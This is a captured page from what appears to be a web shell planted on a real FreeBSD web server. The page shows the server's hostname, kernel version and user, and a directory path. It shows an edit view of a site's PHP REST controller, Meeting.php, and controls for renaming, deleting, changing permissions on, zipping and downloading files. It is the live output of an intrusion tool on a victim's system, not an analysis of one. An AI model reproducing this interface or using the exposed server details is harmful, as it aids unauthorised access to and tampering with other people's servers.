TYPE-0 PERFECT SEIHA
Server Info:
FreeBSD scimitar.blueboard.cz 13.5-STABLE FreeBSD 13.5-STABLE stable/13-4f2925105 GENERIC amd64
Software:
Apache
User:
www
Crot
Crot File
Crot Dir
Crot Command
[LockSelf]
[HOME]
data
www
19068
fszoo_net
www
api
2
root
app
Rest
Meeting
Show Hidden Files
Edit File: /data/www/19068/fszoo_net/www/api/2/root/app/Rest/Meeting/Meeting.php
<?php /** * Copyright (c) Jan Pospisil (http://www.jan-pospisil.cz) */ namespace Rest\Meeting; use Nette\Utils\ArrayHash; use Nette\Utils\Validators; use RestServer\Exceptions\BadRequestException; use RestServer\Exceptions\NotFoundException; use RestServer\IParametrs; use RestServer\IPresenter; use RestServer\Response; /** * Meeting * @author Jan Pospisil */ class Meeting extends \Nette\Object implements IPresenter { public function run(IParametrs $parameters, Response $response) { $id = $parameters->path('id'); if(!Validators::isNumericInt($id)){ throw new BadRequestException('Id must be numeric int.'); } $meetings = $this->fetchEventsFromFacebook(TRUE); $meetingEntity = null; foreach($meetings as $meeting){ if($meeting->id == 'meeting_'.$id){ $meetingEntity = $meeting; break; } } if(!$meetingEntity) throw new NotFoundException('Meeting with this id does not exist.'); $response->data = $meetingEntity; } private function fetchEventsFromFacebook($history = FALSE) { $return = array(); foreach(ArrayHash::from(json_decode(file_get_contents('https://www.freestylezoo.net/cron.meeting-api'), TRUE)) as $meeting){ $meeting->type = 'MEETING'; if(!$history && $meeting->past) continue; $meeting->id = 'meeting_'.$meeting->id; $return[] = $meeting; } return $return; } }
Crotin
Name
Size
Permissions
Modified
User/Group
Meeting.php
1357
0644
2016-04-16 10:22:31
Unknown/Unknown
NGANU
Rename
Hapus
Chmod
Chown
Touch
Zip
Unzip
Download
Crotin